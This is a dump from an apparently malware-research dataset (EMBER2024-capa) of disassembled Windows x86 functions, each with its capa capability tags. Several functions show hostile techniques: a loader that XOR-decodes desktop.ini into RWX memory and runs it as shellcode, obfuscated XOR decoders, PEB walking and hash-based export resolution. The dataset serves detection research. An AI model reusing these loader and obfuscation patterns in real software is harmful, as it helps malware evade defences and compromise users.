joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406735
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00406218
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
test cl, 8
je 0x40676a
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x470668], eax
jmp 0x40690f
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x406785
test eax, eax
je 0x4068ba
test cl, 2
je 0x4068ba
push edi
push ebx
mov esi, 0x45b908
push esi
call fcn.00405c00
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x4067a8
push str..
push esi
call edi
jmp 0x4067ae
push ebx
call fcn.004061eb
cmp word [ebx], 0
jne 0x4067be
cmp word [0x45b908], 0x5c
jne 0x4067c6
push 0x4082d0
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4068a9
lea esi, [ebp - 0x230]
push 0x3f
mov eax, esi
push eax
call fcn.004058fd
xor edi, edi
cmp word [eax], di
je 0x40680d
cmp word [ebp - 0x28], di
je 0x40680d
lea esi, [ebp - 0x28]
cmp word [esi], 0x2e
jne 0x406827
movzx eax, word [esi + 2]
cmp ax, di
je 0x406886
cmp eax, 0x2e
jne 0x406827
cmp word [esi + 4], di
je 0x406886
push esi
push dword [ebp - 4]
call fcn.00405c00
test byte [ebp - 0x25c], 0x10
je 0x40684e
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x406886
push dword [ebp + 0xc]
push ebx
call fcn.00406735
jmp 0x406886
push ebx
call fcn.00405a27
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40687e
test byte [ebp + 0xc], 4
je 0x406876
push ebx
push 0xfffffffffffffff1
call fcn.00404bbd
push edi
push ebx
call fcn.00406702
jmp 0x406886
inc dword [0x470668]
jmp 0x406886
push ebx
push 0xfffffffffffffff2
call fcn.00404bbd
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4067ed
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4068ab
xor edi, edi
cmp dword [ebp + 8], edi
pop edi
je 0x4068ba
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [ecx - 2], ax
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40690e
cmp dword [ebp - 0xc], esi
je 0x4068fe
push ebx
call fcn.00405cde
test eax, eax
je 0x40690e
push ebx
call fcn.004061bc
push ebx
call fcn.00405a27
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x406906
test byte [ebp + 0xc], 4
je 0x4068fe
push ebx
push 0xfffffffffffffff1
call fcn.00404bbd
push esi
push ebx
call fcn.00406702
jmp 0x40690e
inc dword [0x470668]
jmp 0x40690e
push ebx
push 0xffffffffffffffe5
call fcn.00404bbd
pop esi
pop ebx
leave
ret 8
Function at 0x406cad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x460114], 0
jne 0x406ceb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406cc1
mov dword [ecx*4 + 0x460110], eax
inc ecx
cmp ecx, 0x100
jl 0x406cbc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406d18
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x460110]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406cf9
not eax
pop ebp
ret 0xc
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x404532
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x404541
pop dword [ebp - 8]
mov eax, 0x46f80734
add eax, 0xb9483e0d
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3b282
push 0
mov eax, 0x649b0dab
sub eax, 0x645a2cd3
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xe86b176d
add ecx, 0x17953861
mov ebx, eax
mov esi, 0x533d5231
add esi, 0xad03e993
add esi, dword [ebp - 8]
mov edi, 0xede6c3ff
add edi, 0x803a03ec
mov dword [ebp - 4], 0x62e1b335
mov edx, dword [esi]
sub dword [ebp - 4], esi
sub edx, edi
mov dword [ebp - 4], 0xe066c6dd
mov dword [ebx], edx
xor dword [ebp - 4], 0xbfa425f5
add ebx, 0xb5d56d76
sub ebx, 0xb5d56d72
add esi, 0x2c8f5239
add esi, 0xd370adcb
loop 0x4045a0
add eax, 0x1320b
mov ebx, eax
add eax, 0xccc87752
add eax, 0x333788b3
mov ecx, 0x165cf8c7
add ecx, 0xe9e30739
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x5c050470
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x5c0504ae
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x5c0504a6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x5c0504b0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x5c050496
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x5c050580
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x5c0505b1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x5c0505b1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x5c0505b1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x5c0632c9
Capabilities:
Encode data using xor

Disassembly:
call 0x5c063242
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x5c063272
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x5c06328e
xor edx, 0
jmp 0x5c063299
xor edx, edx
jmp 0x5c0632b0
jmp 0x5c0632bc
xor eax, eax
push 0x8427d7c0
call 0x5c0632c9
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x5c063305
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x5c0632de
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x5c06331c
add eax, 0
jno 0x5c063321
add esi, 0
ret 0x10
Function at 0x5c06408a
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x5c0640ac
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x5c06424e
cmp edi, dword [ebp + 0x10]
jb 0x5c06424e
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.5c063b76
inc edi
jmp 0x5c064135
jmp 0x5c064142
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.5c063b76
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.5c063b76
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x5c064196
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x5c06417a
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.5c0641c4
add dword [eax], 0x39
jle 0x5c0641a0
sub al, 0xf5
mov ch, al
call fcn.5c0641d9
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x5c065eb1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x5c065ec7
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x5c065ed8
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.5c065f19
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x5c068285
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x5c0681ce
add ebx, 0
push ecx
call 0x5c0681e3
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x73548005
sub ebx, dword [0x73567844]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73567834
call fcn.5c063cad
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.5c0631bb
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x5c068341
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x5c068341
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x5c0682f8
mov eax, 1
lock xchg dword [0x73567840], eax
push 0x3dd1fc71
call 0x5c068285
push esi
add esp, 8
cmp eax, 0
jne 0x5c06826e
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x5c068294
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x5c0682a9
cmp ecx, edx
cmp eax, 0
je 0x5c0682ce
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x5c0682b8
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.5c0682e7
dec eax
loope 0x5c0682ea
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73567840], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x5c06831e
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x5c068333
jmp 0x5c06833e
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x5c06822c
Function at 0x5c06f3a6
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x5c06f67c
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x735544b8
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7354b47e
push 0xffffffffffffffff
call fcn.5c0665a6
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x5c06f410
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.5c06f428
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x5c06f670
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x5c06f644
Function at 0x5c07ee76
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x5c07ee98
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x5c07ee98
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x5c07ee98
ret
cmp word [ebx + 4], 0x14c
jne 0x5c07ee98
test word [ebx + 0x16], 2
je 0x5c07ee98
test word [ebx + 0x16], 0x100
je 0x5c07ee98
cmp word [ebx + 0x18], 0x10b
jne 0x5c07ee98
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x5c07ee98
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x5c07ef24
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x5c07eeb8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.5c065e03
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x5c07ee98
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x5c07ef24
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x5c07ee98
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x5c07ee98
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x5c07ee98
ret
cmp word [ebx + 4], 0x14c
jne 0x5c07ee98
test word [ebx + 0x16], 2
je 0x5c07ee98
test word [ebx + 0x16], 0x100
je 0x5c07ee98
cmp word [ebx + 0x18], 0x10b
jne 0x5c07ee98
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x5c07ee98
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x5c07ef24
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x5c07eeb8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.5c065e03
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x5c07ee98
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x5c07efdb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5c07f034
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5c07efdb
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5c07efea
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5c484c8d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5c07f03b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5c065eb1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5c07f0da
add edi, 4
add eax, 2
dec ecx
jne 0x5c07f020
call 0x5c07f087
loope 0x5c07f07d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5c07f0d7
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5c07f0e8
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5c07f09b
cmp eax, ecx
ja 0x5c07f09b
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5c07f125
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5c07f11b
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.5c066390
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x5c07efea
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5c07f034
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5c07efdb
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5c07efea
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5c484c8d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5c07f03b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5c065eb1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5c07f0da
add edi, 4
add eax, 2
dec ecx
jne 0x5c07f020
call 0x5c07f087
loope 0x5c07f07d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5c07f0d7
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5c07f0e8
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5c07f09b
cmp eax, ecx
ja 0x5c07f09b
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5c07f125
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5c07f11b
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.5c066390
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1000efb3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000eff2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000eff2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000eff2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000eff2
cmp dword [ecx + 0x74], 0xe
jbe 0x1000eff2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10011c6f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10011d0c
push ebx
push esi
call fcn.10011c38
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10011bcc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10011cb9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011d0b
push edi
push eax
call fcn.10012c2c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011cd9
call fcn.10010714
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011d0a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10011bcc
add esp, 0x20
test eax, eax
jne 0x10011cf8
push edi
call fcn.10010714
jmp 0x10011d00
push ebx
call fcn.10010714
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10011f79
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019888
push 0x10019880
push str.FlsAlloc
push 0x1f
call fcn.10011e95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011fad
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
jmp 0x10011fb3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011ff9
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019898
push 0x10019890
push str.FlsGetValue
push 0x21
call fcn.10011e95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012030
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10012038
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100198a0
push 0x10019898
push str.FlsSetValue
push 0x22
call fcn.10011e95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012072
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017700
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001772d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001772d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403969
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x4039a1
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x40398f
mov al, 1
jmp 0x4039eb
cmp dword [ebx + 0x54], ecx
jne 0x403998
mov al, 2
jmp 0x4039eb
cmp dword [ebx + 0x7c], ecx
jne 0x4039eb
mov al, 3
jmp 0x4039eb
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x4039b6
mov al, 4
jmp 0x4039eb
cmp ecx, 5
jne 0x4039d6
cmp ebx, 0
jne 0x4039c4
mov al, 5
jmp 0x4039eb
cmp ebx, 1
jne 0x4039cd
mov al, 6
jmp 0x4039eb
cmp ebx, 2
jne 0x4039d6
mov al, 7
jmp 0x4039eb
cmp ecx, 6
jne 0x4039e2
cmp ebx, 0
jne 0x4039e4
mov al, 8
jmp 0x4039eb
cmp ebx, 1
jne 0x4039eb
mov al, 9
pop ebx
mov esp, ebp
pop ebp
ret